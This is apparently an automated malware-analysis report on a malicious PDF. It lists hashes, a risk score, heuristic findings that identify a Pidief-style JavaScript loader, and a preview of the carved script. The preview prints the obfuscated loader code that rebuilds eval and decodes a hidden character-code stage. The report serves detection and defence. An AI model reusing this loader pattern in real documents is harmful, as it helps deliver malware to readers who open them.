Malicious PDF — malware analysis report

Static analysis result for SHA-256 965479c9593d09d7…

MALICIOUS

PDF

45.1 KB First seen: 2013-08-03
MD5: 06b0b6d489f3ddb63ceaf9d0ccc461c7 SHA-1: ae8c620e57e3993b0c0276a7fac689f0b2a56241 SHA-256: 965479c9593d09d78a86b463723a97ffe311142e0ce9c79c7e8c9021ada51471
86 Risk Score

Malware Insights

The PDF file contains embedded JavaScript, indicated by heuristic firings for PDF_JAVASCRIPT and PDF_JS. The ML classifier strongly flagged this PDF as malicious. The embedded JavaScript file, 'javascript_obj0001_000.js', is the primary indicator of malicious activity, likely serving as a downloader or initial execution vector for further malicious payloads.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB1F6 445 bytes
SHA-256: 78f1be218f77dfeb1ab1d18299271e294640863182270ab0a84badd22f67a527
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
jrhxz='';
pye=('qwrwqr','tit');
e('exe=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
xul=e('String.fr'+exe.substr(0,10));
zqpra = e(exe.substr(10)['replace'](/u/g,','));
e('k=zqpra.length');
for (i = 0; i < k; i+=2) {
	haj = zqpra[i+1] + ('erybjkerl',zqpra[i]);
	jrhxz += xul(haj);
}
e(jrhxz);

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